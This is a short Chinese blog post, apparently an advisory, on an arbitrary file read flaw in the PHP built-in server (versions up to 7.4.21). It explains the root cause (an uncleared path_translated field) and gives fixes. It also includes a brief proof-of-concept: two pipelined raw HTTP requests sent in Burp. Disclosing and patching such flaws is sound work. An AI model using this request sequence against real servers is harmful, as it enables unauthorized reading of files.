PHP任意文件读取漏洞

1
2
3
4
5
6
7
8
9
10


这个漏洞存在于 PHP Built-in Server 在处理 TCP 数据流时,对于连续的两个畸形 HTTP 包,在第二个包中如果路径中的文件非 php 后缀时,则会当作静态文件去处理,并将其直接读取并返回。问题就出现在解析第一个包时没有把 client->request.path_translated 清理掉,从而导致第二个包会指向第一个包中的文件,最终导致任意文件读取。

影响版本 PHP<=7.4.21

修复办法
更新 PHP 版本
停止使用内置服务,使用 NGINX 或 Apache 进行代理

1
2
3
4
5
6
7
8
注意,在 Burp 中发包时要关掉自动更新 Content-Length 的选项,以下使用同一个请求发送

GET /index.php HTTP/1.1
Host: 127.0.0.1:1080


GET /path/to/empty.file HTTP/1.1

更新: 2023-02-05 17:13:29
原文: https://www.yuque.com/yuqueyonghuwrqimt/vtxvff/xv91s01nmrpu136e


PHP任意文件读取漏洞
https://savior-only.github.io/p/aae5e80a25db4872a99bdf368d2e9ce1/
作者
savior
发布于
2024年12月25日
更新于
2024年12月25日
许可协议